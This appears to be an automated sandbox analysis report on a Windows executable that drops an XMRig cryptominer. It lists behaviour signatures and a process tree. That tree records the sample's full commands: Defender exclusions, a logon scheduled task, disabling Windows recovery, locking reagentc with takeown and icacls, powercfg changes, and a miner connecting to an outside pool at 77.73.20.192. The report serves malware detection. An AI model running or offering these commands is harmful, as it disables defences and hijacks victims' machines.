Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    14/10/2026, 04:09

General

  • Target
    2026-10-13_dc967566528cf6878489088d428a122c_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
  • Size 394KB
  • Sample261014-eqxsqsysfs
  • SHA256 a7d1411afbc4c214e255d6bf2f3773df1bc5b80cabd64303c884cc5700a2588b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 3 IoCs
  • XMRig Miner payload 14 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks for VMWare Tools registry key 2 TTPs 3 IoCs
  • Possible privilege escalation attempt 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 7 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-10-13_dc967566528cf6878489088d428a122c_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-10-13_dc967566528cf6878489088d428a122c_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Drops file in Windows directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3936
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:1008
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C reagentc /disable
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4608
      • C:\Windows\system32\ReAgentc.exe
        reagentc /disable
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        PID:3760
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5108
      • C:\Windows\system32\takeown.exe
        takeown /F "C:\Windows\System32\reagentc.exe"
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:4120
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5028
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1892
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2652
      • C:\Windows\system32\icacls.exe
        icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2200
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:3460
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change monitor-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:4440
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:312
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:4888
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1776
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /change hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:64
    • C:\Windows\SYSTEM32\powercfg.exe
      powercfg /hibernate off
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2204
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
      2⤵
      • Executes a command shell one-liner
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:2580
      • C:\Windows\system32\PING.EXE
        ping -n 1 -w 1000 8.8.8.8
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3784
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe --algo rx/0 --url 77.73.20.192:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
      2⤵
      • Badlisted process makes network request
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4436
  • C:\Windows\System32\Win-v42.exe
    C:\Windows\System32\Win-v42.exe
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:5068
  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
    1⤵
    • Looks for VirtualBox Guest Additions in registry
    • Looks for VMWare Tools registry key
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:2620

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 91a76a2c6c73116293fb7e5bfb12b00ef8128a04fbbb44153f4fd63794b2b8ae
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 8e386afeed28e1d282d9a0294dd2e9402dcb807f7c77aca8426314c20057e720
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_4uk1m4ut.gmp.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4uk1m4ut.gmp.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        Win-v42.exe

        • Path C:\Windows\System32\Win-v42.exe
        • Size 394KB
        • SHA256 fb18e1908a3d6f7e2991051047a87ae1c00d893925d2cc852f2f3ccf15fd3441
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2508-1-0x0000022FF1AE0000-0x0000022FF1AF0000-memory.dmp

        memory/2508-0-0x0000022FF1AE0000-0x0000022FF1AF0000-memory.dmp

        memory/2508-9-0x0000022FF1A20000-0x0000022FF1A42000-memory.dmp

        memory/2956-14-0x0000019B712C0000-0x0000019B712D0000-memory.dmp

        memory/2956-13-0x0000019B712C0000-0x0000019B712D0000-memory.dmp

        memory/4436-60-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-66-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-61-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-62-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-63-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-64-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-65-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-59-0x00000183B6360000-0x00000183B6380000-memory.dmp

        memory/4436-67-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-68-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-69-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-70-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-71-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-72-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp

        memory/4436-73-0x00007FF65F4E0000-0x00007FF65FDA3000-memory.dmp